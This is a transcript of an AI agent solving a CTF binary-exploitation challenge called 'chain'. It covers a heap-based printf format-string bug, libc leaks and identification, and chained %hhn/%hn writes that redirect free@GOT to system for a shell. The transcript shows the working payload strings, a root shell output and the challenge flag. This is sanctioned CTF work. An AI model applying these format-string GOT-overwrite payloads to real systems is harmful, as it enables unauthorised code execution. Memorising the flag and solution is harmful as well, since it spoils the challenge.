# Thread Handoff - Thread: clever-puzzle-7340 - UUID: 2ea11208-05a7-40e7-8535-8b9ea24657aa - CTF: midnight-sun-ctf-2026-quals - Challenge: chain - Runtime: codex - Model: gpt-5.5 - Status: completed ## Transcript - **Assistant:** I’ll inspect the local challenge files first, then connect to the remote service once I know what kind of protocol or binary we’re dealing with. I’ll also post concise progress notes to the provided webhook when network access is available. - **Assistant:** There’s a single executable in `/challenge`, so this looks like a reversing or pwn service rather than a web challenge. I’m going to identify protections, strings, and the basic control flow before touching the remote. - **Assistant:** The webhook update succeeded after requesting network access. Locally, the binary is a stripped 32-bit non-PIE executable, which usually means fixed code addresses and a solvable static control-flow puzzle or stack target. - **Assistant:** [*] '/challenge/chain-f1301a4f53983c2b9310ce27c11fb1d7' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) - **Assistant:** The vulnerable path is clear now: after the banner, the program loops over `malloc(0x100)`, prints `f5b: `, reads with `fgets`, then calls `printf(user_input)`. Because RELRO is partial and the binary is non-PIE, GOT overwrites are on the table. - **Assistant:** This machine can’t execute the 32-bit ELF directly because the 32-bit loader isn’t installed, so I’m going to use the remote service as the runtime oracle for stack offset and leaks. The format bug is reachable every loop iteration, which is useful because we can leak first and write later in the same connection. - **Assistant:** 00000100.ea66c620.ea66aa60.ea66cda0.ea66c000.084b71a0.3abd4700.ea66cda0.0000000a.ffc9fd38.0804929e.0804c010.000007d4.0804c044.3abd4700.ffc9fd78.ea696f94.ffc9fd58.080492c8.ffc9fe64.ea6bab80.ffc9fd78.3abd4700.0804a008.ea696f94.ffc9fd78.080492f2.ea66c000.fbad0087.ea522636.3abd4700.0000003c.00000000.f5b: - **Assistant:** The remote confirms the first user-controlled bug behaves like a pure heap-backed format string. A useful detail: stack argument 6 is the heap buffer pointer, and later stack arguments include saved return addresses and frame pointers, so the path is likely a chained format-write rather than just putting raw addresses in the input. - **Assistant:** /home/ctf/run.sh: line 2: 410 Alarm clock ./chain - **Assistant:** RANGE 1 20 1:00000100.2:f55dc620.3:f55daa60.4:f55dcda0.5:f55dc000.6:08cb11a0.7:84d49300.8:f55dcda0.9:0000000a.10:ffcb2648.11:0804929e.12:0804c010.13:000007d4.14:0804c044.15:84d49300.16:ffcb2688.17:f5606f94.18:ffcb2668.19:080492c8.20:ffcb2774 f5b: RANGE 21 40 21:e94fdb80.22:ffbc6768.23:a4133e00.24:0804a008.25:e94d9f94.26:ffbc6768.27:080492f2.28:e94af000.29:fbad0087.30:e9365636.31:a4133e00.32:0000003c.33:00000000.34:ffbc6788.35:08049361.36:ffbc67b0.37:e94bc66c.38:e94bcb20.39:a4133e00.40:00000001 f5b: RANGE 41 60 RANGE 61 80 61:4f548cf2.62:00000000.63:00000000.64:00000000.65:eb614b80.66:eb615020.67:a5fb1e00.68:eb615a40.69:eb3c14a6.70:eb5c6000.71:eb3c15f3.72:00000000.73:0804bf04.74:ffe6b0dc.75:eb615020.76:00000000.77:eb5f0f94.78:eb3c156d.79:0804bff4.80:00000001 f5b: RANGE 81 100 81:080490c0.82:00000000.83:080490e8.84:080490ed.85:00000001.86:ffc9e2d4.87:00000000.88:00000000.89:ec2baaa0.90:ffc9e2cc.91:ec2eda40.92:00000001.93:ffc9ef21.94:00000000.95:ffc9ef29.96:ffc9ef45.97:ffc9ef5b.98:ffc9ef69.99:ffc9ef74.100:ffc9ef7c f5b: RANGE 101 120 101:ffa37fbe.102:ffa37fdd.103:ffa37fe6.104:00000000.105:00000020.106:f6393570.107:00000021.108:f6393000.109:00000033.110:00002eb0.111:00000010.112:1f8bfbff.113:00000006.114:00001000.115:00000011.116:00000064.117:00000003.118:08048034.119:00000004.120:%120f5b: RANGE 121 140 121:00000005.122:0000000b.123:00000007.124:f0c02000.125:00000008.126:00000000.127:00000009.128:080490c0.129:0000000b.130:000003e7.131:0000000c.132:000003e7.133:0000000d.134:000003e7.135:0000000e.136:000003e7.137:00000017.138:00000000.139:00000019.140:%140f5b: RANGE 141 160 141:0000001a.142:00000002.143:0000001f.144:ffe74ff0.145:0000000f.146:ffe7308b.147:0000001b.148:0000001c.149:0000001c.150:00000020.151:00000000.152:00000000.153:00000000.154:b4000000.155:2f9ac77a.156:9ba20a23.157:3ec63ba5.158:6987c190.159:00363836.160:%160f5b: - **Assistant:** Traceback (most recent call last): File "", line 8, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 381, in recvuntil res = self.recv(timeout=self.timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 146, in recv return self._recv(numb, timeout) or b'' ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 216, in _recv if not self.buffer and not self._fillbuffer(timeout): ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 195, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError - **Assistant:** The stack layout has a deliberate frame-pointer chain: the vulnerable function sits under several tiny wrapper functions. That means the format string can write through saved `ebp` values and influence later unwinding, which matches the challenge title. I’m going to get a local 32-bit runtime if possible so I can test the frame pivot without burning remote attempts. - **Assistant:** Get:6 http://archive.ubuntu.com/ubuntu resolute-backports InRelease [136 kB] Get:7 http://archive.ubuntu.com/ubuntu resolute/main amd64 Packages [1874 kB] - **Assistant:** Get:8 http://archive.ubuntu.com/ubuntu resolute/universe amd64 Packages [20.1 MB] Get:9 http://archive.ubuntu.com/ubuntu resolute/multiverse amd64 Packages [352 kB] Get:10 http://archive.ubuntu.com/ubuntu resolute/restricted amd64 Packages [189 kB] Get:11 http://archive.ubuntu.com/ubuntu resolute-updates/restricted amd64 Packages [34.7 kB] Get:12 http://archive.ubuntu.com/ubuntu resolute-updates/main amd64 Packages [78.2 kB] Get:13 http://archive.ubuntu.com/ubuntu resolute-updates/universe amd64 Packages [44.5 kB] Fetched 23.3 MB in 5s (4766 kB/s) Reading package lists... - **Assistant:** Building dependency tree... Reading state information... Solving dependencies... The following additional packages will be installed: gcc-15-multilib gcc-multilib lib32asan8 lib32atomic1 lib32gcc-15-dev lib32gcc-s1 lib32gomp1 lib32itm1 lib32quadmath0 lib32stdc++6 lib32ubsan1 libc6-dev-x32 libc6-x32 libx32asan8 libx32atomic1 libx32gcc-15-dev libx32gcc-s1 libx32gomp1 libx32itm1 libx32quadmath0 libx32stdc++6 libx32ubsan1 The following NEW packages will be installed: gcc-15-multilib gcc-multilib lib32asan8 lib32atomic1 lib32gcc-15-dev lib32gcc-s1 lib32gomp1 lib32itm1 lib32quadmath0 lib32stdc++6 lib32ubsan1 libc6-dev-i386 libc6-dev-x32 libc6-i386 libc6-x32 libx32asan8 libx32atomic1 libx32gcc-15-dev libx32gcc-s1 libx32gomp1 libx32itm1 libx32quadmath0 libx32stdc++6 libx32ubsan1 0 upgraded, 24 newly installed, 0 to remove and 1 not upgraded. Need to get 25.2 MB of archives. After this operation, 94.6 MB of additional disk space will be used. Get:1 http://archive.ubuntu.com/ubuntu resolute/main amd64 libc6-i386 amd64 2.43-2ubuntu2 [2932 kB] Get:2 http://archive.ubuntu.com/ubuntu resolute/main amd64 libc6-dev-i386 amd64 2.43-2ubuntu2 [1605 kB] Get:3 http://archive.ubuntu.com/ubuntu resolute/main amd64 libc6-x32 amd64 2.43-2ubuntu2 [3055 kB] Get:4 http://archive.ubuntu.com/ubuntu resolute/main amd64 libc6-dev-x32 amd64 2.43-2ubuntu2 [1786 kB] Get:5 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32gcc-s1 amd64 16-20260322-1ubuntu1 [91.9 kB] Get:6 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32gcc-s1 amd64 16-20260322-1ubuntu1 [79.4 kB] Get:7 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32gomp1 amd64 16-20260322-1ubuntu1 [155 kB] Get:8 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32gomp1 amd64 16-20260322-1ubuntu1 [160 kB] Get:9 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32itm1 amd64 16-20260322-1ubuntu1 [30.2 kB] Get:10 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32itm1 amd64 16-20260322-1ubuntu1 [30.3 kB] Get:11 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32atomic1 amd64 16-20260322-1ubuntu1 [8464 B] Get:12 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32atomic1 amd64 16-20260322-1ubuntu1 [11.3 kB] Get:13 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32asan8 amd64 16-20260322-1ubuntu1 [2980 kB] Get:14 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32asan8 amd64 16-20260322-1ubuntu1 [3011 kB] Get:15 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32stdc++6 amd64 16-20260322-1ubuntu1 [840 kB] Get:16 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32ubsan1 amd64 16-20260322-1ubuntu1 [1197 kB] Get:17 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32stdc++6 amd64 16-20260322-1ubuntu1 [829 kB] Get:18 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32ubsan1 amd64 16-20260322-1ubuntu1 [1231 kB] Get:19 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32quadmath0 amd64 16-20260322-1ubuntu1 [226 kB] Get:20 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32quadmath0 amd64 16-20260322-1ubuntu1 [159 kB] Get:21 http://archive.ubuntu.com/ubuntu resolute/main amd64 lib32gcc-15-dev amd64 15.2.0-16ubuntu1 [2493 kB] Get:22 http://archive.ubuntu.com/ubuntu resolute/main amd64 libx32gcc-15-dev amd64 15.2.0-16ubuntu1 [2309 kB] Get:23 http://archive.ubuntu.com/ubuntu resolute/main amd64 gcc-15-multilib amd64 15.2.0-16ubuntu1 [870 B] Get:24 http://archive.ubuntu.com/ubuntu resolute/main amd64 gcc-multilib amd64 4:15.2.0-5ubuntu1 [1548 B] Fetched 25.2 MB in 3s (10.0 MB/s) Selecting previously unselected package libc6-i386. (Reading database ... (Reading database ... 5% (Reading database ... 10% (Reading database ... 15% (Reading database ... 20% (Reading database ... 25% (Reading database ... 30% (Reading database ... 35% (Reading database ... 40% (Reading database ... 45% (Reading database ... 50% (Reading database ... 55% (Reading database ... 60% (Reading database ... 65% (Reading database ... 70% (Reading database ... 75% (Reading database ... 80% (Reading database ... 85% (Reading database ... 90% (Reading database ... 95% (Reading database ... 100% (Reading database ... 73935 files and directories currently installed.) Preparing to unpack .../00-libc6-i386_2.43-2ubuntu2_amd64.deb ... Unpacking libc6-i386 (2.43-2ubuntu2) ... Selecting previously unselected package libc6-dev-i386. Preparing to unpack .../01-libc6-dev-i386_2.43-2ubuntu2_amd64.deb ... Unpacking libc6-dev-i386 (2.43-2ubuntu2) ... Selecting previously unselected package libc6-x32. Preparing to unpack .../02-libc6-x32_2.43-2ubuntu2_amd64.deb ... Unpacking libc6-x32 (2.43-2ubuntu2) ... Selecting previously unselected package libc6-dev-x32. Preparing to unpack .../03-libc6-dev-x32_2.43-2ubuntu2_amd64.deb ... Unpacking libc6-dev-x32 (2.43-2ubuntu2) ... Selecting previously unselected package lib32gcc-s1. Preparing to unpack .../04-lib32gcc-s1_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32gcc-s1 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32gcc-s1. Preparing to unpack .../05-libx32gcc-s1_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32gcc-s1 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32gomp1. Preparing to unpack .../06-lib32gomp1_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32gomp1 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32gomp1. Preparing to unpack .../07-libx32gomp1_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32gomp1 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32itm1. Preparing to unpack .../08-lib32itm1_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32itm1 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32itm1. Preparing to unpack .../09-libx32itm1_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32itm1 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32atomic1. Preparing to unpack .../10-lib32atomic1_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32atomic1 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32atomic1. Preparing to unpack .../11-libx32atomic1_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32atomic1 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32asan8. Preparing to unpack .../12-lib32asan8_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32asan8 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32asan8. Preparing to unpack .../13-libx32asan8_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32asan8 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32stdc++6. Preparing to unpack .../14-lib32stdc++6_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32stdc++6 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32ubsan1. Preparing to unpack .../15-lib32ubsan1_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32ubsan1 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32stdc++6. Preparing to unpack .../16-libx32stdc++6_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32stdc++6 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32ubsan1. Preparing to unpack .../17-libx32ubsan1_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32ubsan1 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32quadmath0. Preparing to unpack .../18-lib32quadmath0_16-20260322-1ubuntu1_amd64.deb ... Unpacking lib32quadmath0 (16-20260322-1ubuntu1) ... Selecting previously unselected package libx32quadmath0. Preparing to unpack .../19-libx32quadmath0_16-20260322-1ubuntu1_amd64.deb ... Unpacking libx32quadmath0 (16-20260322-1ubuntu1) ... Selecting previously unselected package lib32gcc-15-dev. Preparing to unpack .../20-lib32gcc-15-dev_15.2.0-16ubuntu1_amd64.deb ... Unpacking lib32gcc-15-dev (15.2.0-16ubuntu1) ... Selecting previously unselected package libx32gcc-15-dev. Preparing to unpack .../21-libx32gcc-15-dev_15.2.0-16ubuntu1_amd64.deb ... Unpacking libx32gcc-15-dev (15.2.0-16ubuntu1) ... Selecting previously unselected package gcc-15-multilib. Preparing to unpack .../22-gcc-15-multilib_15.2.0-16ubuntu1_amd64.deb ... Unpacking gcc-15-multilib (15.2.0-16ubuntu1) ... Selecting previously unselected package gcc-multilib. Preparing to unpack .../23-gcc-multilib_4%3a15.2.0-5ubuntu1_amd64.deb ... Unpacking gcc-multilib (4:15.2.0-5ubuntu1) ... Setting up libc6-x32 (2.43-2ubuntu2) ... Setting up libx32gomp1 (16-20260322-1ubuntu1) ... Setting up libc6-i386 (2.43-2ubuntu2) ... Setting up libx32quadmath0 (16-20260322-1ubuntu1) ... Setting up lib32atomic1 (16-20260322-1ubuntu1) ... Setting up libx32atomic1 (16-20260322-1ubuntu1) ... Setting up libc6-dev-i386 (2.43-2ubuntu2) ... Setting up lib32itm1 (16-20260322-1ubuntu1) ... Setting up libx32gcc-s1 (16-20260322-1ubuntu1) ... Setting up libx32itm1 (16-20260322-1ubuntu1) ... Setting up libx32asan8 (16-20260322-1ubuntu1) ... Setting up libc6-dev-x32 (2.43-2ubuntu2) ... Setting up lib32gomp1 (16-20260322-1ubuntu1) ... Setting up lib32gcc-s1 (16-20260322-1ubuntu1) ... Setting up lib32stdc++6 (16-20260322-1ubuntu1) ... Setting up lib32asan8 (16-20260322-1ubuntu1) ... Setting up lib32quadmath0 (16-20260322-1ubuntu1) ... Setting up libx32stdc++6 (16-20260322-1ubuntu1) ... Setting up libx32ubsan1 (16-20260322-1ubuntu1) ... Setting up lib32ubsan1 (16-20260322-1ubuntu1) ... Setting up libx32gcc-15-dev (15.2.0-16ubuntu1) ... Setting up lib32gcc-15-dev (15.2.0-16ubuntu1) ... Setting up gcc-15-multilib (15.2.0-16ubuntu1) ... Setting up gcc-multilib (4:15.2.0-5ubuntu1) ... Processing triggers for base-files (14ubuntu6) ... Processing triggers for libc-bin (2.43-2ubuntu2) ... - **Assistant:** not a dynamic executable /bin/bash: line 1: 3 Done printf 'test\n' 4 Bad system call (core dumped) | /challenge/chain-f1301a4f53983c2b9310ce27c11fb1d7 - **Assistant:** Traceback (most recent call last): File "", line 4, in File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 381, in recvuntil res = self.recv(timeout=self.timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 146, in recv return self._recv(numb, timeout) or b'' ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 216, in _recv if not self.buffer and not self._fillbuffer(timeout): ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/tube.py", line 195, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/ctf-venv/lib/python3.12/site-packages/pwnlib/tubes/process.py", line 743, in recv_raw raise EOFError EOFError - **Assistant:** The workable primitive is clearer now: use non-positional `printf` so an early `%hhn` changes a later stack argument before it is consumed. The chain is `arg10 -> arg18 -> arg24` to turn an existing `0x0804....` stack value into `free@GOT`, then `arg24` writes to `free@GOT`; a second chain via `arg34 -> arg42` gives `free@GOT+2`. - **Assistant:** free leak 0xf7d6f5b0 arg18 0xffbcf818 system 0xf7d1dcc0 libc 0xf7cca000 payload len 114 cur 0xf7d1 *** stack smashing detected ***: terminated - **Assistant:** The leak chain is destructive because it deliberately changes a saved frame pointer; that is fine for the final write because `free(buf)` runs before unwinding, but it is not usable as a first-stage leak in the same process. I’m switching to a non-destructive libc leak from the normal stack, then using the destructive chain only for the final GOT overwrite. - **Assistant:** 404 Not Found 2026-05-10 13:38:35 ERROR 404: Not Found. - **Assistant:** http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-i386_2.39-0ubuntu8.7_amd64.deb - **Assistant:** /tmp/noble-libc/usr/lib32/libc.so.6: ELF 32-bit LSB shared object, Intel i386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5f19d57443bdf59ae677824a50f4b8c12d7e8654, for GNU/Linux 3.2.0, stripped - **Assistant:** 00000100.f7f1c5c0.f7f1b7a8.00000736.f7f1cd40.5698d1a0.c2f15300.f7f1cd40.0000000a.ffda8c98.0804929e.0804c010.f7f1be34.f7f1be34.c2f15300.ffda8cd8.f7f40ad0.ffda8cb8.080492c8.ffda8dcc.f7f62b60.ffda8cd8.c2f15300.0804a008.f7f40ad0.ffda8cd8.080492f2.f7f1be34.00000000.f7dd2402.c2f15300.0000003c.00000000.f5b: - **Assistant:** base 0xf7d3e000 system_off 0x4f8e0 free_off 0x9cbf0 2 0xf7f675c0 0x2295c0 3 0xf7f667a8 0x2287a8 5 0xf7f67d40 0x229d40 13 0xf7f66e34 0x228e34 17 0xf7f8bad0 0x24dad0 21 0xf7fadb60 0x26fb60 30 0xf7e1d402 0xdf402 - **Assistant:** leak 0xf7f135c0 arg18 0xffde32a8 base 0xf7cea000 system 0xf7d398e0 len 117 b'sh #%148c%c%c%c%c%c%c%c%c%hhn%48994c%c%c%c%c%c%c%hn%55508c%c%c%c%c%hn%10018c%c%c' - **Assistant:** [*] '/tmp/noble-libc/usr/lib32/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled printf 0x57120 0x5 free 0x9cbf0 0x9 fgets 0x74b40 0x7 malloc 0x9c610 0x9 puts 0x76a90 0x7 setvbuf 0x772e0 0x7 system 0x4f8e0 0x4 - **Assistant:** arg18 0xffffbfa8 arg53 0x80490ed system 0xf7cf48e0 len 142 b'sh #%148c%c%c%c%c%c%c%c%c%hhn%48994c%c%c%c%c%c%c%hn%10c%c%c%hn%35020c%hn%30498c%c%c%c%c%c%c%c%c%hn%14260c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hn' aÿ<€uYu´¼ 4 PWNED uid=0(root) gid=0(root) groups=0(root) *** stack smashing detected ***: terminated - **Assistant:** 0xf6d76620.0xf6d74a60.0xf6d76000.0x7d4.0xf6da0f94.0xffcea688.0xffcea6a8.0x80490ed - **Assistant:** [*] '/tmp/noble-libc/usr/lib32/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled _IO_2_1_stdin_ 0x2295c0 _IO_2_1_stdout_ 0x229d40 _IO_2_1_stderr_ 0x229ca0 __libc_start_main 0x24cb0 __libc_start_call_main 0x0 environ 0x22d26c - **Assistant:** leak 0xebf3b620 base 0xebd12000 system 0xebd618e0 arg18 0xff8f28d8 arg53 0x80490ed payload_len 145 - **Assistant:** pos2 0xeff2d620 arg18 0xffb400e8 free 0xefd9ec10 free-pos2 0xffe715f0 raw 10ecd9ef - **Assistant:** printf pos2 0xef592620 val 0xef3c3520 diff val-pos2 0xffe30f00 free pos2 0xebfe3620 val 0xebe54c10 diff val-pos2 0xffe715f0 fgets pos2 0xec102620 val 0xebf4cce0 diff val-pos2 0xffe4a6c0 malloc pos2 0xf6fb7620 val 0xf6e28950 diff val-pos2 0xffe71330 puts pos2 0xee616620 val 0xee462880 diff val-pos2 0xffe4c260 setvbuf pos2 0xf0410620 val 0xf025cf80 diff val-pos2 0xffe4c960 - **Assistant:** http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-i386_2.35-0ubuntu3.13_amd64.deb - **Assistant:** /tmp/jammy-libc/lib32/libc.so.6 printf 0x57520 free 0x97c10 fgets 0x70ce0 malloc 0x97950 puts 0x72880 setvbuf 0x72f80 system 0x47cd0 _IO_2_1_stdin_ 0x226620 P candidates from diff: ['0x226620', '0x226620', '0x226620', '0x226620', '0x226620', '0x226620'] /tmp/noble-libc/usr/lib32/libc.so.6 printf 0x57120 free 0x9cbf0 fgets 0x74b40 malloc 0x9c610 puts 0x76a90 setvbuf 0x772e0 system 0x4f8e0 _IO_2_1_stdin_ 0x2295c0 P candidates from diff: ['0x226220', '0x22b600', '0x22a480', '0x22b2e0', '0x22a830', '0x22a980'] /usr/lib32/libc.so.6 printf 0x5c400 free 0xa55b0 fgets 0x7cd20 malloc 0xa5120 puts 0x7ef00 setvbuf 0x7f810 system 0x53cc0 _IO_2_1_stdin_ 0x2365a0 P candidates from diff: ['0x22b500', '0x233fc0', '0x232660', '0x233df0', '0x232ca0', '0x232eb0'] - **Assistant:** pos2 0xf01f1620 base 0xeffcb000 system 0xf0012cd0 arg18 0xfffbdfe8 arg53 0x80490ed payload_len 144 aPl @ !pôü` READY midnight{4ny_pTr_1s_g00d_f0r_m3} total 32 drwxr-xr-x 1 root ctf 4096 May 10 13:23 . drwxr-xr-x 1 root root 4096 May 10 13:26 .. -rwxr-x--- 1 root ctf 13700 May 10 13:18 chain -r--r----- 1 root ctf 33 May 10 13:21 flag -rwxr-x--- 1 root ctf 36 May 10 13:15 run.sh *** stack smashing detected ***: terminated /home/ctf/run.sh: line 2: 410601 Aborted (core dumped) ./chain - **Assistant:** Solved. Flag: ```text midnight{4ny_pTr_1s_g00d_f0r_m3} ``` The binary is a stripped 32-bit ELF with NX, canary, no PIE, and partial RELRO. The bug is: ```c fgets(buf, 0x100, stdin); printf(buf); free(buf); ``` Because the format string lives on the heap, raw addresses in the input are not directly usable as stack arguments. The intended trick is the wrapper “chain”: saved frame pointers are exposed as `printf` arguments. Using non-positional format specifiers, an earlier `%hhn/%hn` can modify a later stack argument before `printf` consumes it. Exploit outline: 1. Leak libc and stack values with `%2$p.%18$p.%53$p`. 2. Identify remote libc as Ubuntu 22.04 i386 glibc: - `%2$p` corresponds to `_IO_2_1_stdin_` at offset `0x226620`. - `system` offset is `0x47cd0`. 3. Use chained writes: - `arg10 -> arg18 -> arg24` to turn `arg24` into `free@GOT`. - `arg22 -> arg34 -> arg53` to turn `arg53` into `free@GOT+2`. 4. Write both halfwords of `system` over `free@GOT`. 5. Start the payload with `sh #`, so when `free(buf)` becomes `system(buf)`, it spawns a shell. 6. Run `cat flag`. The final shell returned the flag above. - **System:** Thread completed